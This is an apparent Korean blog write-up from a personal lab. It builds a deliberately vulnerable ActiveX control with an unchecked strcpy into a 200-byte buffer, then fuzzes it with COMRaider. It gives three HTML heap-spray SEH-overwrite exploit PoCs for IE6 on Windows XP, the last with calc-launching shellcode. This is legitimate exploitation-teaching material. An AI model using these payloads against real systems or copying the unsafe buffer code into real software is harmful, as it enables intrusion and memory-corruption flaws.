Phantom

ActiveX Heap Spray_COMRaider Fuzzing POC 본문

Pwnable/WriteUp

ActiveX Heap Spray_COMRaider Fuzzing POC

Ph4nt0m_ 2016. 5. 16. 21:40
반응형

.ActiveX의 Control에 있는 BOF취약점을 시연하려 한다.

 

이것을 따라 하려는데 참 오래 걸렸다. JavaScript 참..싫다

삽질을 참 오래한 것 같다. 하..

 

아무튼 이번 글은 XP SP3환경에서 ActiveX를 이용해 Fuzzing으로 취약점을 찾아 공격을 하려한다.

 

이 글의 본문은 여기를 참조

필요한 목록은 다음과 같다.

  • Windows XP SP3
  • Visual Studio 2010 + Service Pack(어디서 찾았는지 기억이…VS2010SP1dvd1.iso를 찾으시길..)
  • Internet Explorer 6 (IE6가 없다면 IETester라는 Browser Test Tool 사용)
  • Immunity Debugger(대충 입력하고 다운) & mona.py(첨부)
  • COMRaider, VMMap(첨부)

 

 

우선 XP에 Visual Studio 2010 Ultimate를 설치 했다(가지고 있는게 이것 밖에 없어서..)

그리고선 Service Pack을 설치했다.

 

그리고 ActiveX를 제작한다.

 

처음 ActiveX를 만들려 했는데 국내에는 문서가 없는 건가 아주 예전 글밖에 없더라.

vulActiveX 라는 이름으로 ATL프로젝트를 만든다.

만들고 이런 창이 뜰텐데 마침을 누르면 된다.

 

그리고 클래스 뷰에서 vulActiveX 오른쪽 클릭 – 추가 – 클래스를 클릭하여 ATL컨트롤 생성

 

약식 이름 란에 ATLActivexControl 입력 후 다음

연결 지점 클릭

추가 후 마침, resource.h 는 그냥 확인

 

그리고 다시 클래스 뷰를 클릭하여 IATActivexControl 오른쪽 클릭 – 추가 – 메서드 추가 클릭

여기서 BOF 함수를 만듭니다.

변수형을 정하면 위에 in out retval이 활성화됩니다 클릭해주셔야 합니다. 그리고 마침

 

ATLActivexControl.cpp 에 BufferOverflow에가서 소스를 추가해 줍니다

1

2

3

4

5

6

7

8

9

10 

USES_CONVERSION;

    char buffer[200= {0};

   

    char *tmp = W2A(sBuffer);

   

    strcpy(buffer,tmp);

   

    MessageBoxA(0,buffer,"vulActiveX Control"0);

   

    return S_OK;

Colored by Color Scripter

cs

 

이제 컴파일 하기 전에 빌드 – 구성관리자 에서 Debug를 Release로 바꿔준 후에 솔루션빌드(F7)를 합니다.

 

 

컴파일을 하고 Visual Studio 프로젝트 폴더 안에 Release에 들어가면 dll 파일이 생성되어 있습니다.

 

테스트를 하기 위해 VSsample에 있는 TstCon.exe를 사용합니다.

C:\Program Files\Visual Studio 10.0\Samples\1042로 가서 VC2010Sample파일을 압축 해제 하고 C++\MFC\ole\TstCon에 들어가 Tstcon.sin을 더블클릭해 프로젝트를 엽니다.

그리고 컴파일 해주면 Debug폴더 안에 TstCon.exe파일이 생깁니다 실행.

 

프로그램을 실행하면 Edit – Insert new Control을 실행하면 ATLActivexControl이 나옵니다 그걸 누르고 OK

 

여기서 저 컨트롤 패널에서 오른쪽 클릭을 하면

Invoke Method를 클릭해서 아무값이나 넣고 Invoke를 합니다.

 

 

이렇게 되었다면 잘 만들어 진 것이다.

 

이제 ATLActivexControl.html 파일을 수정할 것이다.

우선 이것이 제대로 작동 하는지 테스트하고 소스를 변경해가면서 할 것이다.

ATLActivexControl.html

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40 

<html>

<head>

    <title>ATLActivexControl BufferOverflow</title>

    <script language="javascript" type="text/javascript">

   

        //Function to call BufferOverflow method from vulActiveX.dll

        function BOF() {

   

            //Assigns _vulActiveX variable to ATLActivexControl

            var _vulActiveX = document.getElementById("ATLActivexControl");

   

            //Pass the parameter to BufferOverflow function

            _vulActiveX.BufferOverflow("HackSys Team - Panthera");

        }

    </script>

</head>

<body>

    <OBJECT ID="ATLActivexControl" CLASSID="CLSID:0E33B335-59D9-46FF-8E4C-17395E22519D">

    </object>

    <div>

        <h1>

            vulActiveX BufferOverflow</h1>

        <div>

            <h2>

                HackSys Team - Panthera</h2>

            <br />

            <b>

                <p>

                    Website: <a

href="http://hacksys.vfreaks.com/">http://hacksys.vfreaks.com/</a></p>

                <p>

                    Email: <a href="mailto:hacksysteam@hotmail.com">hacksysteam@hotmail.com</a></p>

            </b>

        </div>

        <p>

            Click on the button to invoke <b>BufferOverflow</b> method.</p>

        <input type="button" onclick="BOF();" value="Invoke BufferOverflow" />

    </div>

</body>

</html>

Colored by Color Scripter

cs

들여쓰기를 매우 조심해야 하고 clsid는 기존 파일에 있던 고유 식별 넘버를 가져와야 한다.

그렇지 않다면 작동하지 않는다

 

그리고 vulActiveX.dll을 등록한다. dll이 있는 폴더에 직접 가서 등록해야한다.

regedit을 키고 ROOT\CLSID에서 검색하여 나온다면 등록이 된것이다.

이제 IETester에 IE6를 키고 HTML파일을 테스트를 해본다.

 

Invoke를 눌렀을 때 창이 뜬다면 제대로 작성한 것이다.

 

이제 다 잘되었다면 dll파일을 COMRaider에 올려 퍼징을 하겠습니다.

위의 Start -> Next -> Release 폴더의 dll 파일 클릭

함수명에서 오른쪽 클릭 Fuzz member를 클릭하면 Next 위의 창이 가득 채워집니다 그리고 Next를 누릅니다.

Begin Fuzzing을 누르고 퍼징이 끝나길 기다립니다.

 

 

결과가 나오면 TimeOut이 아닌 Exception을 누릅니다. address에서 View Details에서 해당 상세 정보를 볼 수 있습니다.

 

 

EIP가 덮어 씌워 져있습니다. BOF취약점이 존재 하다는 것입니다.

 

이제 위에 Exception에서 오른쪽 클릭하면 로그파일을 볼 수 있는데 그곳을 보면

BOF취약점이 있으며 14356개의 문자열이 들어갔을 때 BOF가 일어납니다.

그러나 윈도우에는 SEH라는 메모리 보호기법이 있기에 이제    저만큼의 문자를 넣고 디버거로 분석을 할 것입니다.

이뮤니티에 IE6를띄우고 다음을 아래에 입력합니다.

이것은 mona 플러그인을 이용해 패턴을 생성(Pattern Create)한 것입니다

이뮤니티가 설치된 폴더에 들어가면 패턴문자가 있습니다.

저는 메타스플로잇으로 패턴을 작성하겠습니다. offset만 찾음 되기 때문에..

메타스플로잇의 pattern.py를 찾아봤는데 없어서 같은 패턴 생성기로 패턴 추출

이제 다음 소스를 작성합니다.

Exploit_PoC_HeapSpray_vulActiveX_SEH_1.html

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46 

<html>

<head>

    <title>vulActiveX.dll Heap Spray SEH Exploit</title>

    <object classid='clsid:E030F469-3FA5-4EA7-ABB6-59C0565CDBD0' id='_vulActiveX'>

    </object>

    <script type="text/javascript" language="javascript">

   

        shellcode = unescape('%u4148%u4b43%u5953%u2153');            // 쉘코드 생성(HACKSYS!) - 유니코드

   

        nops = unescape('%u9090%u9090');                            // NOP 생성

        headersize = 20;                                            // 패킷 헤더 사이즈 20

   

        document.write("<H2>vulActiveX.dll Heap Spray Attack</H2></br>");

   

        document.write("Creating one block of memory with <b>NOPS</b>.</br>");

        slackspace = headersize + shellcode.length;                    // 공간을 쉘코드의 길이와 헤더사이즈로 정함

        while (nops.length < slackspace) nops += nops;                // NOP을 공간만큼 채운다

        fillblock = nops.substring(0, slackspace);                    // slackspace만큼 fillblock을 nops로 채운다.

   

        document.write("Enlarging the memory with <b>NOPS</b> of size <b>0x5000</b>.</br>");    // 메모리를 NOPS의 사이즈 0x50000만큼 키운다

        block = nops.substring(0, nops.length - slackspace);        // nop의 길이에서 slackspace 만큼을 뺀 공간을 nop로 채운다.

        while (block.length + slackspace < 0x50000) block = block + block + fillblock;

        // block + block + fillblock을 수행...뭐지

        document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> ti,es.</br>");

   

        memory = new Array();

        for(counter = 0; counter < 250; counter++){        //힙 메모리에 block과 shellcode를 뿌린다.

            memory[counter] = block + shellcode;

   

            window.status = "Spraying: " + Math.round(100 * counter / 250+ "% done";

        }

   

        document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>bytes.<br>");

   

        document.write("Heap Spraying completed successfully.<br>");

        window.status = "Launching Exploit";

        alert("Heap Spraying Done\n\n Launching Exploit");

   

        payload = "pattern ㄱㄱ"

   

        _vulActiveX.BufferOverflow(payload);            //패턴문자열을 인자로 BOF함수 실행

    </script>

</head>

<body>

</body>

</html>

Colored by Color Scripter

cs

 

payload에 패턴문자를 넣는데 너무 길어 소스엔 저렇게 하였습니다 저 안에 패턴을 넣으셔야 합니다.

 

소스에 대한 설명은 미숙하게나마 주석을 달아놓았습니다.

 

이 파일에 아까처럼 clsid수정하고 저장합니다.

 

 

이제 IETester(IE6)를 키고 html파일을 로딩시킨후 바로 이뮤니티로 Attach합니다(Enter 누르지 마세요 아직).

Attach를 하면 RETN에서 아무것도 안 움직일 것입니다. F9를 눌러 풀고 IETester에서 확인을 누르면

크래시가 난 장소로 가게 됩니다. 만약 IETester에서 에러 창이 뜬다면 소스 어딘가 분명 맛탱이가 간것입니다….

저는 이것 때문에 2일넘게 삽질을…

잘 뜬다면 크래시 장소로 오게 되고 SEH Chain을 보게 되면 Corrupt가 되어있는 것을 볼 수 있습니다.

이제 메타스플로잇에서 6e42396d로 오프셋을 찾겠습니다.

mona의 findmsp라는 순환 패턴 검색도 같은 결과를 냅니다.

이 단서를 가지고 2번째 소스를 작성합니다.

Exploit_PoC_HeapSpray_vulActiveX_SEH_2.html

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55 

<html>

<head>

    <title>vulActiveX.dll Heap Spray SEH Exploit</title>

    <object classid='clsid:0E33B335-59D9-46FF-8E4C-17395E22519D' id='_vulActiveX'>

    </object>

    <script type="text/javascript" language="javascript">

   

        shellcode = unescape('%u4148%u4b43%u5953%u2153');            // 쉘코드 생성(HACKSYS!) - 유니코드

   

        nops = unescape('%u9090%u9090');                            // NOP 생성

        headersize = 20;                                            // 패킷 헤더 사이즈 20

   

        document.write("<H2>vulActiveX.dll Heap Spray Attack</H2></br>");

   

        document.write("Creating one block of memory with <b>NOPS</b>.</br>");

        slackspace = headersize + shellcode.length;                    // 공간을 쉘코드의 길이와 헤더사이즈로 정함

        while (nops.length < slackspace) nops += nops;                // NOP을 공간만큼 채운다

        fillblock = nops.substring(0, slackspace);                    // slackspace만큼 fillblock을 nops로 채운다.

   

        document.write("Enlarging the memory with <b>NOPS</b> of size <b>0x5000</b>.</br>");    // 메모리를 NOPS의 사이즈 0x50000만큼 키운다

        block = nops.substring(0, nops.length - slackspace);        // nop의 길이에서 slackspace 만큼을 뺀 공간을 nop로 채운다.

        while (block.length + slackspace < 0x50000) block = block + block + fillblock;

        // block + block + fillblock을 수행...뭐지

        document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> ti,es.</br>");

   

        memory = new Array();

        for(counter = 0; counter < 250; counter++){        //힙 메모리에 block과 shellcode를 뿌린다.

            memory[counter] = block + shellcode;

   

            window.status = "Spraying: " + Math.round(100 * counter / 250+ "% done";

        }

   

        document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>bytes.<br>");

   

        document.write("Heap Spraying completed successfully.<br>");

        window.status = "Launching Exploit";

        alert("Heap Spraying Done\n\n Launching Exploit");

   

        junkA = "";

        while (junkA.length < 1164) junkA += "A";        // 1164전까지 A로 채운다.

   

        next_seh = "BBBB";                                // Next_SEH를 BBBB로 저장

        seh = "CCCC";                                    // SEH를 CCC로 저장

   

        junkB = "";

        while(junkB.length < 14356) junkB += "D";        // 14356의 남은 공간을 D로 저장

   

        payload = junkA + next_seh + seh + junkB;

   

        _vulActiveX.BufferOverflow(payload);            // 페이로드 실행

    </script>

</head>

<body>

</body>

</html>

Colored by Color Scripter

cs

이것을 저장하고 다시 한번 더 똑같이 실행하면 NSEH와 SEH가 그리고 그 다음이 우리 페이로드로 덮인 것을 볼 수 있다.

이제 SEH를 조작 할 수 있다.

우리는 POP POP RET 가젯으로 Short JMP를 해서 06060606에 갈것이다.

거기에는 NOP 썰매들이 있고 아래엔 Payload가 있어서 실행 시킬 수 있다.

본문에서 말하길 우리는 SEH를 조작하고 Heap Spray를 할 것입니다.

힙 스프레이는 프로세스의 힙메모리에 NOP과 shellcode의 큰 덩어리를 스프레이처럼 분사합니다.

힙 메모리 블록으로 프로그램의 실행 흐름을 NOP와 shellcode 가 있는 곳으로 리다이렉트 할 것입니다.

위의 그림을 보면 대부분의 블록은 0x06060606 아니면 0x0a0a0a0a로 되어 있다.

시나리오를 0x06060606으로 생각해 보면 SEH를 0x06060606 또는 0x0a0a0a0a로 덮는 것이 계획인데

그래서 프로그램 흐름을 NOPS블록으로 리다이렉트 하고 후에 SEH를 우회한다.

0x06060606이나 0x0a0a0a0a는 통상적으로 힙의 주소를 가리킵니다.

 

이제 소스를 조금만 더 수정하여 계산기를 띄워보자.

우선 계산기의 쉘코드를 작성하자. 메타스플로잇을 이용해 쉘코드를 만든다. – 이것은 글이 조금 길어지므로 구글링을 이용 하도록 하자.

Exploit_PoC_HeapSpray_vulActiveX_SEH_3.html

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

<html>

<head>

    <title>vulActiveX.dll Heap Spray SEH Exploit</title>

    <object classid='clsid:0E33B335-59D9-46FF-8E4C-17395E22519D' id='_vulActiveX'>

    </object>

    <script type="text/javascript" language="javascript">

   

        shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');                                        // 쉘코드 생성(계산기 실행 코드) - 유니코드

   

        nops = unescape('%u9090%u9090');                            // NOP 생성

        headersize = 20;                                            // 패킷 헤더 사이즈 20

   

        document.write("<H2>vulActiveX.dll Heap Spray Attack</H2></br>");

   

        document.write("Creating one block of memory with <b>NOPS</b>.</br>");

        slackspace = headersize + shellcode.length;                    // 공간을 쉘코드의 길이와 헤더사이즈로 정함

        while (nops.length < slackspace) nops += nops;                // NOP을 공간만큼 채운다

        fillblock = nops.substring(0, slackspace);                    // slackspace만큼 fillblock을 nops로 채운다.

   

        document.write("Enlarging the memory with <b>NOPS</b> of size <b>0x5000</b>.</br>");    // 메모리를 NOPS의 사이즈 0x50000만큼 키운다

        block = nops.substring(0, nops.length - slackspace);        // nop의 길이에서 slackspace 만큼을 뺀 공간을 nop로 채운다.

        while (block.length + slackspace < 0x50000) block = block + block + fillblock;

        // block + block + fillblock을 수행...뭐지

        document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> ti,es.</br>");

   

        memory = new Array();

        for(counter = 0; counter < 250; counter++){        //힙 메모리에 block과 shellcode를 뿌린다.

            memory[counter] = block + shellcode;

   

            window.status = "Spraying: " + Math.round(100 * counter / 250+ "% done";

        }

   

        document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>bytes.<br>");

   

        document.write("Heap Spraying completed successfully.<br>");

        window.status = "Launching Exploit";

        alert("Heap Spraying Done\n\n Launching Exploit");

   

        junkA = "";

        while (junkA.length < 1164) junkA += "A";

   

        next_seh = "BBBB";

        seh = "\x06\x06\x06\x06";                        //SEH를 0x06060606으로 설정

   

        junkB = "";

        while(junkB.length < 14356) junkB += "D";

   

        payload = junkA + next_seh + seh + junkB;

   

        _vulActiveX.BufferOverflow(payload);            //페이로드 실행

    </script>

</head>

<body>

</body>

</html>

Colored by Color Scripter

cs

이제 이것을 다시 똑같이 실행해보면 SEH에 0x06060606이 있고

0x06060606주소에는 0x90 NOP이 있다 이 끝에는 쉘코드가 있다.

이제 Shift + F9를 누르면 계산기가 뜬다

 

PoC Success!!

반응형

'Pwnable > WriteUp' 카테고리의 다른 글

Start  (0) 2022.07.03
Simple login  (0) 2019.06.06
CodeGate 2014 Nuclear WriteUp  (0) 2017.07.18
1 Plaid CTF 2013 - ropasaurusrex  (0) 2017.04.26
붉은별 OS 3.0 local privilege escalation POC  (0) 2016.05.09
Comments